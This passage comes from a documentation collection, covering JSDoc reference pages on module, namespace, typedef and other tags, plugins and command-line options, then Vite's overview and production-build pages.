passed to a function ---------------------------------- If the module object is passed into the function that defines your module, you can document the module by adding an [`@exports` tag](tags-exports) to the function parameter. This pattern is supported in JSDoc 3.3.0 and later. Module object passed to a function ``` define('my/jacket', function( /** * Utility functions for jackets. * @exports my/jacket */ module) { /** * Zip up a jacket. * @param {Jacket} jacket - The jacket to zip up. */ module.zip = function(jacket) { // ... }; }); ``` Multiple modules defined in one file ------------------------------------ If you define more than one AMD module in a single JavaScript file, use the [`@exports` tag](tags-exports) to document each module object. Multiple AMD modules defined in one file ``` // one module define('html/utils', function() { /** * Utility functions to ease working with DOM elements. * @exports html/utils */ var utils = { /** * Get the value of a property on an element. * @param {HTMLElement} element - The element. * @param {string} propertyName - The name of the property. * @return {*} The value of the property. */ getStyleProperty: function(element, propertyName) { } }; /** * Determine if an element is in the document head. * @param {HTMLElement} element - The element. * @return {boolean} Set to `true` if the element is in the document head, * `false` otherwise. */ utils.isInHead = function(element) { } return utils; } ); // another module define('tag', function() { /** @exports tag */ var tag = { /** * Create a new Tag. * @class * @param {string} tagName - The name of the tag. */ Tag: function(tagName) { // ... } }; return tag; }); ``` Related Links ------------- * [Using namepaths with JSDoc 3](about-namepaths) * [@exports](tags-exports) * [@module](tags-module) jsdoc @namespace @namespace ========== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@namespace [[{<type>}] <SomeName>]` Overview -------- The @namespace tag indicates that an object creates a namespace for its members. You can also write a virtual JSDoc comment that defines a namespace used by your code. If a namespace is defined by a symbol other than an object literal, you can include a type expression along with the @namespace tag. If the @namespace tag includes a type, it must also include a name. You may need to document a namespace whose name includes unusual characters, such as "#" or "!". In these cases, when you document or link to the namespace, you must add quotation marks around the portion of the namespace that includes unusual characters. See the examples below for details. Examples -------- Using the @namespace tag with an object ``` /** * My namespace. * @namespace */ var MyNamespace = { /** documented as MyNamespace.foo */ foo: function() {}, /** documented as MyNamespace.bar */ bar: 1 }; ``` Using the @namespace tag for virtual comments ``` /** * A namespace. * @namespace MyNamespace */ /** * A function in MyNamespace (MyNamespace.myFunction). * @function myFunction * @memberof MyNamespace */ ``` If a @namespace includes a symbol whose name has unusual characters, you must enclose the symbol's name in double quotes. If the symbol's name already contains one or more double quotes, escape the double quotes with a leading backslash (\). Using the @namespace tag with unusual member names ``` /** @namespace window */ /** * Shorthand for the alert function. * Refer to it as {@link window."!"} (note the double quotes). */ window["!"] = function(msg) { alert(msg); }; ``` Related Links ------------- [@module](tags-module) jsdoc @see @see ==== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ * `@see <namepath>` * `@see <text>` Overview -------- The @see tag allows you to refer to another symbol or resource that may be related to the one being documented. You can provide either a symbol's namepath or free-form text. If you provide a namepath, JSDoc's default template automatically converts the namepath to a link. Examples -------- Using the @see tag ``` /** * Both of these will link to the bar function. * @see {@link bar} * @see bar */ function foo() {} // Use the inline {@link} tag to include a link within a free-form description. /** * @see {@link foo} for further information. * @see {@link http://github.com|GitHub} */ function bar() {} ``` Related Links ------------- [{@link}](tags-inline-link) jsdoc @constant @constant ========= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@const` Syntax ------ `@constant [<type> <name>]` Overview -------- The @constant tag is used to mark the documentation as belonging to a symbol that is a constant. Examples -------- In this example we are documenting a string constant. Note that although the code is using the `const` keyword, this is not required by JSDoc. If your JavaScript host environment doesn't yet support constant declarations, the @const documentation can just as effectively be used on `var` declarations. A string constant representing the color red ``` /** @constant @type {string} @default */ const RED = 'FF0000'; /** @constant {number} */ var ONE = 1; ``` Note that the example provides the type in a @type tag. This is optional. Also the optional @default tag is used here too, this will automatically add whatever the assigned value is (for example 'FF0000') to the documentation. Related Links ------------- * [@default](tags-default) * [@type](tags-type) jsdoc Getting Started with JSDoc 3 Getting Started with JSDoc 3 ============================ Table of Contents ----------------- * [Getting started](#getting-started) * [Adding documentation comments to your code](#adding-documentation-comments-to-your-code) * [Generating a website](#generating-a-website) Getting started --------------- JSDoc 3 is an API documentation generator for JavaScript, similar to Javadoc or phpDocumentor. You add documentation comments directly to your source code, right alongside the code itself. The JSDoc tool will scan your source code and generate an HTML documentation website for you. Adding documentation comments to your code ------------------------------------------ JSDoc's purpose is to document the API of your JavaScript application or library. It is assumed that you will want to document things like modules, namespaces, classes, methods, method parameters, and so on. JSDoc comments should generally be placed immediately before the code being documented. Each comment must start with a `/**` sequence in order to be recognized by the JSDoc parser. Comments beginning with `/*`, `/***`, or more than 3 stars will be ignored. This is a feature to allow you to suppress parsing of comment blocks. The simplest documentation is just a description ``` /** This is a description of the foo function. */ function foo() { } ``` Adding a description is simple—just type the description you want in the documentation comment. Special "JSDoc tags" can be used to give more information. For example, if the function is a constructor for a class, you can indicate this by adding a `@constructor` tag. Use a JSDoc tag to describe your code ``` /** * Represents a book. * @constructor */ function Book(title, author) { } ``` More tags can be used to add more information. See the [home page](index#block-tags) for a complete list of tags that are recognized by JSDoc 3. Adding more information with tags ``` /** * Represents a book. * @constructor * @param {string} title - The title of the book. * @param {string} author - The author of the book. */ function Book(title, author) { } ``` Generating a website -------------------- Once your code is commented, you can use the JSDoc 3 tool to generate an HTML website from your source files. By default, JSDoc uses the built-in "default" template to turn the documentation into HTML. You can edit this template to suit your own needs or create an entirely new template if that is what you prefer. Running the documentation generator on the command line ``` jsdoc book.js ``` This command will create a directory named `out/` in the current working directory. Within that directory, you will find the generated HTML pages. jsdoc @static @static ======= Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Overview -------- The @static tag indicates that a symbol is contained within a parent and can be accessed without instantiating the parent. Using the @static tag will override a symbol's default scope, with one exception: Symbols in global scope will remain global. Examples -------- The following example has the same effect as writing "@function MyNamespace.myFunction" and omitting the @memberof and @static tags: Using @static in a virtual comment ``` /** @namespace MyNamespace */ /** * @function myFunction * @memberof MyNamespace * @static */ ``` The following example forces a module's inner member to be documented as a static member: Using @static to override the default scope ``` /** @module Rollerskate */ /** * The 'wheel' variable is documented as Rollerskate.wheel * rather than Rollerskate~wheel. * @static */ var wheel = 1; ``` Related Links ------------- * [@global](tags-global) * [@inner](tags-inner) * [@instance](tags-instance) jsdoc About JSDoc plugins About JSDoc plugins =================== Table of Contents ----------------- * [Creating and Enabling a Plugin](#creating-and-enabling-a-plugin) * [Authoring JSDoc 3 Plugins](#authoring-jsdoc-3-plugins) + [Event Handlers](#event-handlers) + [Tag Definitions](#tag-definitions) + [Node Visitors](#node-visitors) * [Reporting Errors](#reporting-errors) Creating and Enabling a Plugin ------------------------------ There are two steps required to create and enable a new JSDoc plugin: 1. Create a JavaScript module to contain your plugin code. 2. Include that module in the `plugins` array of [JSDoc's configuration file](about-configuring-jsdoc). You can specify an absolute or relative path. If you use a relative path, JSDoc searches for the plugin in the current working directory; the directory where the configuration file is located; and the JSDoc directory, in that order. For example, if your plugin is defined in the `plugins/shout.js` file in the current working directory, you would add the string `plugins/shout` to the `plugins` array in your JSDoc configuration file: Adding a plugin to JSDoc's configuration file ``` { "plugins": ["plugins/shout"] } ``` JSDoc executes plugins in the order that they are listed in the configuration file. Authoring JSDoc 3 Plugins ------------------------- JSDoc 3's plugin system offers extensive control over the parsing process. A plugin can affect the parse results by doing any of the following: * Defining event handlers * Defining tags * Defining a visitor for abstract syntax tree nodes ### Event Handlers At the highest level, a plugin may register handlers for specific named events that JSDoc fires. JSDoc will pass an event object to the handler. Your plugin module should export a `handlers` object that contains your handler, like so: Event-handler plugin for 'newDoclet' events ``` exports.handlers = { newDoclet: function(e) { // Do something when we see a new doclet } }; ``` JSDoc fires events in the same order as the underlying code. An event-handler plugin can stop later plugins from running by setting a `stopPropagation` property on the event object (`e.stopPropagation = true`). A plugin can stop the event from firing by setting a `preventDefault` property (`e.preventDefault = true`). #### Event: parseBegin The `parseBegin` event is fired before JSDoc starts loading and parsing the source files. Your plugin can control which files JSDoc will parse by modifying the event's contents. **Note**: This event is fired in JSDoc 3.2 and later. The event object contains the following properties: * `sourcefiles`: An array of paths to source files that will be parsed. #### Event: fileBegin The `fileBegin` event is fired when the parser is about to parse a file. Your plugin can use this event to trigger per-file initialization if necessary. The event object contains the following properties: * `filename`: The name of the file. #### Event: beforeParse The `beforeParse` event is fired before parsing has begun. Plugins can use this method to modify the source code that will be parsed. For instance, your plugin could add a JSDoc comment, or it could remove preprocessing tags that are not valid JavaScript. The event object contains the following properties: * `filename`: The name of the file. * `source`: The contents of the file. Below is an example that adds a virtual comment for a function to the source so that it will get parsed and added to the documentation. This might be done to document methods that will be available to users, but might not appear in the source code being documented, such as methods provided by an external superclass: Example ``` exports.handlers = { beforeParse: function(e) { var extraDoc = [ '/**', ' * Function provided by a superclass.', ' * @name superFunc', ' * @memberof ui.mywidget', ' * @function', ' */' ]; e.source += extraDoc.join('\n'); } }; ``` #### Event: jsdocCommentFound The `jsdocCommentFound` event is fired whenever a JSDoc comment is found. The comment may or may not be associated with any code. You might use this event to modify the contents of a comment before it is processed. The event object contains the following properties: * `filename`: The name of the file. * `comment`: The text of the JSDoc comment. * `lineno`: The line number on which the comment was found. * `columnno`: The column number on which the comment was found. Available in JSDoc 3.5.0 and later. #### Event: symbolFound The `symbolFound` event is fired when the parser comes across a symbol in the code that may need to be documented. For example, the parser fires a `symbolFound` event for each variable, function, and object literal in a source file. The event object contains the following properties: * `filename`: The name of the file. * `comment`: The text of the comment associated with the symbol, if any. * `id`: The unique ID of the symbol. * `lineno`: The line number on which the symbol was found. * `columnno`: The column number on which the symbol was found. Available in JSDoc 3.5.0 and later. * `range`: An array containing the numeric index of the first and last characters in the source file that are associated with the symbol. * `astnode`: The symbol's node from the abstract syntax tree. * `code`: Object with detailed information about the code. This object usually contains `name`, `type`, and `node` properties. The object might also have `value`, `paramnames`, or `funcscope` properties depending on the symbol. #### Event: newDoclet The `newDoclet` event is the highest-level event. It is fired when a new doclet has been created. This means that a JSDoc comment or a symbol has been processed, and the actual doclet that will be passed to the template has been created. The event object contains the following properties: * `doclet`: The new doclet that was created. The doclet's properties can vary depending on the comment or symbol that the doclet represents. Some common properties you're likely to see include: * `comment`: The text of the JSDoc comment, or an empty string if the symbol is undocumented. * `meta`: Object that describes how the doclet relates to the source file (for example, the location within the source file). * `description`: A description of the symbol being documented. * `kind`: The kind of symbol being documented (for example, `class` or `function`). * `name`: The short name for the symbol (for example, `myMethod`). * `longname`: The fully qualified name, including memberof info (for example, `MyClass#myMethod`). * `memberof`: The module, namespace, or class that this symbol belongs to (for example, `MyClass`), or an empty string if the symbol does not have a parent. * `scope`: The scope of the symbol within its parent (for example, `global`, `static`, `instance`, or `inner`). * `undocumented`: Set to `true` if the symbol did not have a JSDoc comment. * `defaultvalue`: The default value for a symbol. * `type`: Object containing details about the symbol's type. * `params`: Object containing the list of parameters to a function. * `tags`: Object containing a list of tags that JSDoc did not recognize. Only available if `allowUnknownTags` is set to `true` in JSDoc's configuration file. To see the doclets that JSDoc generates for your code, run JSDoc with the [`-X` command-line option](about-commandline). Below is an example of a `newDoclet` handler that shouts the descriptions: Example ``` exports.handlers = { newDoclet: function(e) { // e.doclet will refer to the newly created doclet // you can read and modify properties of that doclet if you wish if (typeof e.doclet.description === 'string') { e.doclet.description = e.doclet.description.toUpperCase(); } } }; ``` #### Event: fileComplete The `fileComplete` event is fired when the parser has finished parsing a file. Your plugin could use this event to trigger per-file cleanup. The event object contains the following properties: * `filename`: The name of the file. * `source`: The contents of the file. #### Event: parseComplete The `parseComplete` event is fired after JSDoc has parsed all of the specified source files. **Note**: This event is fired in JSDoc 3.2 and later. The event object contains the following properties: * `sourcefiles`: An array of paths to source files that were parsed. * `doclets`: An array of doclet objects. See the [`newDoclet` event](#event-newdoclet) for details about the properties that each doclet can contain. Available in JSDoc 3.2.1 and later. #### Event: processingComplete The `processingComplete` event is fired after JSDoc updates the parse results to reflect inherited and borrowed symbols. **Note**: This event is fired in JSDoc 3.2.1 and later. The event object contains the following properties: * `doclets`: An array of doclet objects. See the [`newDoclet` event](#event-newdoclet) for details about the properties that each doclet can contain. ### Tag Definitions Adding tags to the tag dictionary is a mid-level way to affect documentation generation. Before a `newDoclet` event is triggered, JSDoc comment blocks are parsed to determine the description and any JSDoc tags that may be present. When a tag is found, if it has been defined in the tag dictionary, it is given a chance to modify the doclet. Plugins can define tags by exporting a `defineTags` function. That function will be passed a dictionary that can be used to define tags, like so: Example ``` exports.defineTags = function(dictionary) { // define tags here }; ``` #### The Dictionary The dictionary provides the following methods: * `defineTag(title, opts)`: Used to define tags. The first parameter is the name of the tag (for example, `param` or `overview`). The second is an object containing options for the tag. You can include any of the following options; the default value for each option is `false`: + `canHaveType (boolean)`: Set to `true` if the tag text can include a type expression (such as `{string}` in `@param {string} name - Description`). + `canHaveName (boolean)`: Set to `true` if the tag text can include a name (such as `name` in `@param {string} name - Description`). + `isNamespace (boolean)`: Set to `true` if the tag should be applied to the doclet's longname as a namespace. For example, the `@module` tag sets this option to `true`, and using the tag `@module myModuleName` results in the longname `module:myModuleName`. + `mustHaveValue (boolean)`: Set to `true` if the tag must have a value (such as `TheName` in `@name TheName`). + `mustNotHaveDescription (boolean)`: Set to `true` if the tag may have a value but must not have a description (such as `TheDescription` in `@tag {typeExpr} TheDescription`). + `mustNotHaveValue (boolean)`: Set to `true` if the tag must not have a value. + `onTagged (function)`: A callback function executed when the tag is found. The function is passed two parameters: the doclet and the tag object. * `lookUp(tagName)`: Retrieve a tag object by name. Returns the tag object, including its options, or `false` if the tag is not defined. * `isNamespace(tagName)`: Returns `true` if the tag is applied to a doclet's longname as a namespace. * `normalise(tagName)`: Returns the canonical name of a tag. For example, the `@const` tag is a synonym for `@constant`; as a result, if you call `normalise('const')`, it returns the string `constant`. * `normalize(tagName)`: Synonym for `normalise`. Available in JSDoc 3.3.0 and later. A tag's `onTagged` callback can modify the contents of the doclet or tag. Defining an onTagged callback ``` dictionary.defineTag('instance', { onTagged: function(doclet, tag) { doclet.scope = "instance"; } }); ``` The `defineTag` method returns a `Tag` object, which has a `synonym` method that can be used to declare a synonym for the tag. Defining a tag synonym ``` dictionary.defineTag('exception', { /* options for exception tag */ }) .synonym('throws'); ``` ### Node Visitors At the lowest level, plugin authors can process each node in the abstract syntax tree (AST) by defining a node visitor that will visit each node. By using a node-visitor plugin, you can modify comments and trigger parser events for any arbitrary piece of code. Plugins can define a node visitor by exporting an `astNodeVisitor` object that contains a `visitNode` function, like so: Example ``` exports.astNodeVisitor = { visitNode: function(node, e, parser, currentSourceName) { // do all sorts of crazy things here } }; ``` The function is called on each node with the following parameters: * `node`: The AST node. AST nodes are JavaScript objects that use the format defined by the [ESTree spec](https://github.com/estree/estree). You can use [AST Explorer](https://astexplorer.net/) to see the AST that will be created for your source code. As of version 3.5.0, JSDoc uses the current version of the [Babylon](https://github.com/babel/babylon) parser with all plugins enabled. * `e`: The event. If the node is one that the parser handles, the event object will already be populated with the same things described in the `symbolFound` event above. Otherwise, it will be an empty object on which to set various properties. * `parser`: The JSDoc parser instance. * `currentSourceName`: The name of the file being parsed. #### Making things happen The primary reasons to implement a node visitor are to be able to document things that aren't normally documented (like function calls that create classes) or to auto generate documentation for code that isn't documented. For instance, a plugin might look for calls to a `_trigger` method since it knows that means an event is fired and then generate documentation for the event. To make things happen, the `visitNode` function should modify properties of the event parameter. In general the goal is to construct a comment and then get an event to fire. After the parser lets all of the node visitors have a look at the node, it looks to see if the event object has a `comment` property and an `event` property. If it has both, the event named in the event property is fired. The event is usually `symbolFound` or `jsdocCommentFound`, but theoretically, a plugin could define its own events and handle them. As with event-handler plugins, a node-visitor plugin can stop later plugins from running by setting a `stopPropagation` property on the event object (`e.stopPropagation = true`). A plugin can stop the event from firing by setting a `preventDefault` property (`e.preventDefault = true`). Reporting Errors ---------------- If your plugin needs to report an error, use one of the following methods in the `jsdoc/util/logger` module: * `logger.warn`: Warn the user about a possible problem. * `logger.error`: Report an error from which the plugin can recover. * `logger.fatal`: Report an error that should cause JSDoc to stop running. Using these methods creates a better user experience than simply throwing an error. **Note**: Do not use the `jsdoc/util/error` module to report errors. This module is deprecated and will be removed in a future version of JSDoc. Reporting a non-fatal error ``` var logger = require('jsdoc/util/logger'); exports.handlers = { newDoclet: function(e) { // Your code here. if (somethingBadHappened) { logger.error('Oh, no, something bad happened!'); } } }; ```
programming_docs
jsdoc @description @description ============ Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@desc` Syntax ------ `@description <some description>` Overview -------- The @description tag allows you to provide a general description of the symbol you are documenting. The description may include HTML markup. It may also include Markdown formatting if the [Markdown plugin](plugins-markdown) is enabled. Examples -------- If you describe a symbol at the very beginning of a JSDoc comment, before using any block tags, you may omit the @description tag. Describing a symbol without the @description tag ``` /** * Add two numbers. * @param {number} a * @param {number} b * @returns {number} */ function add(a, b) { return a + b; } ``` By using the @description tag, you can place the description anywhere in the JSDoc comment. Describing a symbol with the @description tag ``` /** * @param {number} a * @param {number} b * @returns {number} * @description Add two numbers. */ function add(a, b) { return a + b; } ``` If there's both a description at the beginning of a JSDoc comment and a description provided with the @description tag, the description specified with the @description will override the description at the beginning of the comment. Related Links ------------- * [@classdesc](tags-classdesc) * [@summary](tags-summary) jsdoc Block and inline tags Block and inline tags ===================== Table of Contents ----------------- * [Overview](#overview) * [Examples](#examples) Overview -------- JSDoc supports two different kinds of tags: * **Block tags**, which are at the top level of a JSDoc comment. * **Inline tags**, which are within the text of a block tag or a description. Block tags usually provide detailed information about your code, such as the parameters that a function accepts. Inline tags usually link to other parts of the documentation, similar to the anchor tag (`<a>`) in HTML. Block tags always begin with an at sign (`@`). Each block tag must be followed by a line break, with the exception of the last block tag in a JSDoc comment. Inline tags also begin with an at sign. However, inline tags and their text must be enclosed in curly braces (`{` and `}`). The `{` denotes the start of the inline tag, and the `}` denotes the end of the inline tag. If your tag's text includes a closing curly brace (`}`), you must escape it with a leading backslash (`\`). You do not need to use a line break after inline tags. Most JSDoc tags are block tags. In general, when this site refers to "JSDoc tags," we really mean "block tags." Examples -------- In the following example, `@param` is a block tag, and `{@link}` is an inline tag: Block and inline tags in JSDoc comments ``` /** * Set the shoe's color. Use {@link Shoe#setSize} to set the shoe size. * * @param {string} color - The shoe's color. */ Shoe.prototype.setColor = function(color) { // ... }; ``` You can use inline tags within a description, as shown above, or within a block tag, as shown below: Inline tag used within a block tag ``` /** * Set the shoe's color. * * @param {SHOE_COLORS} color - The shoe color. Must be an enumerated * value of {@link SHOE_COLORS}. */ Shoe.prototype.setColor = function(color) { // ... }; ``` When you use multiple block tags in a JSDoc comment, they must be separated by line breaks: Multiple block tags separated by line breaks ``` /** * Set the color and type of the shoelaces. * * @param {LACE_COLORS} color - The shoelace color. * @param {LACE_TYPES} type - The type of shoelace. */ Shoe.prototype.setLaceType = function(color, type) { // ... }; ``` jsdoc @typedef @typedef ======== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@typedef [<type>] <namepath>` Overview -------- The @typedef tag is useful for documenting custom types, particularly if you wish to refer to them repeatedly. These types can then be used within other tags expecting a type, such as [@type](tags-type) or [@param](tags-param). Use the [@callback](tags-callback) tag to document the type of callback functions. Examples -------- This example defines a union type for parameters that can contain either numbers or strings that represent numbers. Using the @typedef tag ``` /** * A number, or a string containing a number. * @typedef {(number|string)} NumberLike */ /** * Set the magic number. * @param {NumberLike} x - The magic number. */ function setMagicNumber(x) { } ``` This example defines a more complex type, an object with several properties, and sets its namepath so it will be displayed along with the class that uses the type. Because the type definition is not actually exposed by the class, it is customary to document the type definition as an inner member. Using @typedef to document a complex type for a class ``` /** * The complete Triforce, or one or more components of the Triforce. * @typedef {Object} WishGranter~Triforce * @property {boolean} hasCourage - Indicates whether the Courage component is present. * @property {boolean} hasPower - Indicates whether the Power component is present. * @property {boolean} hasWisdom - Indicates whether the Wisdom component is present. */ /** * A class for granting wishes, powered by the Triforce. * @class * @param {...WishGranter~Triforce} triforce - One to three {@link WishGranter~Triforce} objects * containing all three components of the Triforce. */ function WishGranter(triforce) {} ``` Related Links ------------- * [@callback](tags-callback) * [@param](tags-param) * [@type](tags-type) jsdoc @since @since ====== Table of Contents ----------------- * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Syntax ------ `@since <versionDescription>` Overview -------- The @since tag indicates that a class, method, or other symbol was added in a specific version. Examples -------- Using the @since tag ``` /** * Provides access to user information. * @since 1.0.1 */ function UserRecord() {} ``` Related Links ------------- [@version](tags-version) jsdoc @yields @yields ======= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) * [Related Links](#related-links) Synonyms -------- `@yield` Syntax ------ `@yields [{type}] [description]` Overview -------- The `@yields` tag documents the value that is yielded by a generator function. This tag is available in JSDoc 3.5.0 and later. If you are documenting a regular function, use the [`@returns` tag](tags-returns) instead of this tag. Examples -------- @yields tag with a type ``` /** * Generate the Fibonacci sequence of numbers. * * @yields {number} */ function* fibonacci() {} ``` @yields tag with a type and description ``` /** * Generate the Fibonacci sequence of numbers. * * @yields {number} The next number in the Fibonacci sequence. */ function* fibonacci() {} ``` Related Links ------------- [@returns](tags-returns) jsdoc Command-line arguments to JSDoc Command-line arguments to JSDoc =============================== Table of Contents ----------------- * [Examples](#examples) * [Related Links](#related-links) At its most basic level, JSDoc is used like so: ``` /path/to/jsdoc yourSourceCodeFile.js anotherSourceCodeFile.js ... ``` where `...` are paths to other files to generate documentation for. Additionally, one may provide the path to a [Markdown file](http://daringfireball.net/projects/markdown/) (ending in ".md") or a file named "README", and this will be added to the documentation on the front page. See [these instructions](about-including-readme). JSDoc supports a number of command-line options, many of which have both long and short forms. Alternatively, the command-line options may be [specified in a configuration file](about-configuring-jsdoc) given to JSDoc. The command-line options are: | Option | Description | | --- | --- | | `-a <value>`, `--access <value>` | Only display symbols with the given `access` property: `private`, `protected`, `public`, or `undefined`, or `all` for all access levels. By default, all except `private` symbols are shown. | | `-c <value>`, `--configure <value>` | The path to a JSDoc [configuration file](about-configuring-jsdoc). Defaults to `conf.json` or `conf.json.EXAMPLE` in the directory where JSDoc is installed. | | `-d <value>`, `--destination <value>` | The path to the output folder for the generated documentation. For JSDoc's built-in Haruki template, use `console` to dump data to the console. Defaults to `./out`. | | `--debug` | Log information that can help debug issues in JSDoc itself. | | `-e <value>`, `--encoding <value>` | Assume this encoding when reading all source files. Defaults to `utf8`. | | `-h`, `--help` | Display information about JSDoc's command-line options, then exit. | | `--match <value>` | Only run tests whose names contain `value`. | | `--nocolor` | When running tests, do not use color in the console output. On Windows, this option is enabled by default. | | `-p`, `--private` | Include symbols marked with the [`@private` tag](tags-private) in the generated documentation. By default, private symbols are not included. | | `-P`, `--package` | The `package.json` file that contains the project name, version, and other details. Defaults to the first `package.json` file found in the source paths. | | `--pedantic` | Treat errors as fatal errors, and treat warnings as errors. Defaults to `false`. | | `-q <value>`, `--query <value>` | A query string to parse and store in the global variable `env.opts.query`. Example: `foo=bar&baz=true`. | | `-r`, `--recurse` | Recurse into subdirectories when scanning for source files and tutorials. | | `-R`, `--readme` | The `README.md` file to include in the generated documentation. Defaults to the first `README.md` file found in the source paths. | | `-t <value>`, `--template <value>` | The path to the template to use for generating output. Defaults to `templates/default`, JSDoc's built-in default template. | | `-T`, `--test` | Run JSDoc's test suite, and print the results to the console. | | `-u <value>`, `--tutorials <value>` | Directory in which JSDoc should search for tutorials. If omitted, no tutorial pages will be generated. See the [tutorial instructions](about-tutorials) for more information. | | `-v`, `--version` | Displays JSDoc's version number, then exits. | | `--verbose` | Log detailed information to the console as JSDoc runs. Defaults to `false`. | | `-X`, `--explain` | Dump all doclets to the console in JSON format, then exit. | Examples -------- Generate documentation for files in the `./src` directory, using the configuration file `/path/to/my/conf.json`, and save the output in the `./docs` directory: ``` /path/to/jsdoc src -r -c /path/to/my/conf.json -d docs ``` Run all JSDoc tests whose names include the word `tag`, and log information about each test: ``` /path/to/jsdoc -T --match tag --verbose ``` Related Links ------------- [Configuring JSDoc with a configuration file](about-configuring-jsdoc) jsdoc @throws @throws ======= Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Synonyms -------- `@exception` Syntax ------ * `@throws free-form description` * `@throws {<type>}` * `@throws {<type>} free-form description` Overview -------- The @throws tag allows you to document an error that a function might throw. You can include the @throws tag more than once in a single JSDoc comment. Examples -------- Using the @throws tag with a type ``` /** * @throws {InvalidArgumentException} */ function foo(x) {} ``` Using the @throws tag with a description ``` /** * @throws Will throw an error if the argument is null. */ function bar(x) {} ``` Using the @throws tag with a type and description ``` /** * @throws {DivideByZero} Argument x must be non-zero. */ function baz(x) {} ``` jsdoc @default @default ======== Table of Contents ----------------- * [Synonyms](#synonyms) * [Syntax](#syntax) * [Overview](#overview) * [Examples](#examples) Synonyms -------- `@defaultvalue` Syntax ------ `@default [<some value>]` Overview -------- The @default tag allows you to document the assigned value of a symbol. You can supply this tag with a value yourself or you can allow JSDoc to automatically document the value from the source code -- only possible when the documented symbol is being assigned a single, simple value that is either: a string, a number, a boolean or null. Examples -------- In this example a constant is documented. The value of the constant is `0xff0000`. By adding the @default tag this value is automatically added to the documentation. Document the number value of a constant ``` /** * @constant * @default */ const RED = 0xff0000; ``` vite Why Vite Why Vite ======== The Problems ------------ Before ES modules were available in browsers, developers had no native mechanism for authoring JavaScript in a modularized fashion. This is why we are all familiar with the concept of "bundling": using tools that crawl, process and concatenate our source modules into files that can run in the browser. Over time we have seen tools like [webpack](https://webpack.js.org/), [Rollup](https://rollupjs.org) and [Parcel](https://parceljs.org/), which greatly improved the development experience for frontend developers. However, as we build more and more ambitious applications, the amount of JavaScript we are dealing with is also increasing dramatically. It is not uncommon for large scale projects to contain thousands of modules. We are starting to hit a performance bottleneck for JavaScript based tooling: it can often take an unreasonably long wait (sometimes up to minutes!) to spin up a dev server, and even with Hot Module Replacement (HMR), file edits can take a couple of seconds to be reflected in the browser. The slow feedback loop can greatly affect developers' productivity and happiness. Vite aims to address these issues by leveraging new advancements in the ecosystem: the availability of native ES modules in the browser, and the rise of JavaScript tools written in compile-to-native languages. ### Slow Server Start When cold-starting the dev server, a bundler-based build setup has to eagerly crawl and build your entire application before it can be served. Vite improves the dev server start time by first dividing the modules in an application into two categories: **dependencies** and **source code**. * **Dependencies** are mostly plain JavaScript that do not change often during development. Some large dependencies (e.g. component libraries with hundreds of modules) are also quite expensive to process. Dependencies may also be shipped in various module formats (e.g. ESM or CommonJS). Vite [pre-bundles dependencies](dep-pre-bundling) using [esbuild](https://esbuild.github.io/). esbuild is written in Go and pre-bundles dependencies 10-100x faster than JavaScript-based bundlers. * **Source code** often contains non-plain JavaScript that needs transforming (e.g. JSX, CSS or Vue/Svelte components), and will be edited very often. Also, not all source code needs to be loaded at the same time (e.g. with route-based code-splitting). Vite serves source code over [native ESM](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules). This is essentially letting the browser take over part of the job of a bundler: Vite only needs to transform and serve source code on demand, as the browser requests it. Code behind conditional dynamic imports is only processed if actually used on the current screen. ### Slow Updates When a file is edited in a bundler-based build setup, it is inefficient to rebuild the whole bundle for obvious reasons: the update speed will degrade linearly with the size of the app. In some bundlers, the dev server runs the bundling in memory so that it only needs to invalidate part of its module graph when a file changes, but it still needs to re-construct the entire bundle and reload the web page. Reconstructing the bundle can be expensive, and reloading the page blows away the current state of the application. This is why some bundlers support Hot Module Replacement (HMR): allowing a module to "hot replace" itself without affecting the rest of the page. This greatly improves DX - however, in practice we've found that even HMR update speed deteriorates significantly as the size of the application grows. In Vite, HMR is performed over native ESM. When a file is edited, Vite only needs to precisely invalidate the chain between the edited module and its closest HMR boundary (most of the time only the module itself), making HMR updates consistently fast regardless of the size of your application. Vite also leverages HTTP headers to speed up full page reloads (again, let the browser do more work for us): source code module requests are made conditional via `304 Not Modified`, and dependency module requests are strongly cached via `Cache-Control: max-age=31536000,immutable` so they don't hit the server again once cached. Once you experience how fast Vite is, we highly doubt you'd be willing to put up with bundled development again. Why Bundle for Production ------------------------- Even though native ESM is now widely supported, shipping unbundled ESM in production is still inefficient (even with HTTP/2) due to the additional network round trips caused by nested imports. To get the optimal loading performance in production, it is still better to bundle your code with tree-shaking, lazy-loading and common chunk splitting (for better caching). Ensuring optimal output and behavioral consistency between the dev server and the production build isn't easy. This is why Vite ships with a pre-configured [build command](build) that bakes in many [performance optimizations](features#build-optimizations) out of the box. Why Not Bundle with esbuild? ---------------------------- While `esbuild` is extremely fast and is already a very capable bundler for libraries, some of the important features needed for bundling *applications* are still work in progress - in particular code-splitting and CSS handling. For the time being, Rollup is more mature and flexible in these regards. That said, we won't rule out the possibility of using `esbuild` for production builds when it stabilizes these features in the future. How is Vite Different from X? ----------------------------- You can check out the [Comparisons](comparisons) section for more details on how Vite differs from other similar tools. vite Building for Production Building for Production ======================= When it is time to deploy your app for production, simply run the `vite build` command. By default, it uses `<root>/index.html` as the build entry point, and produces an application bundle that is suitable to be served over a static hosting service. Check out the [Deploying a Static Site](static-deploy) for guides about popular services. Browser Compatibility --------------------- The production bundle assumes support for modern JavaScript. By default, Vite targets browsers which support the [native ES Modules](https://caniuse.com/es6-module), [native ESM dynamic import](https://caniuse.com/es6-module-dynamic-import), and [`import.meta`](https://caniuse.com/mdn-javascript_operators_import_meta): * Chrome >=87 * Firefox >=78 * Safari >=14 * Edge >=88 You can specify custom targets 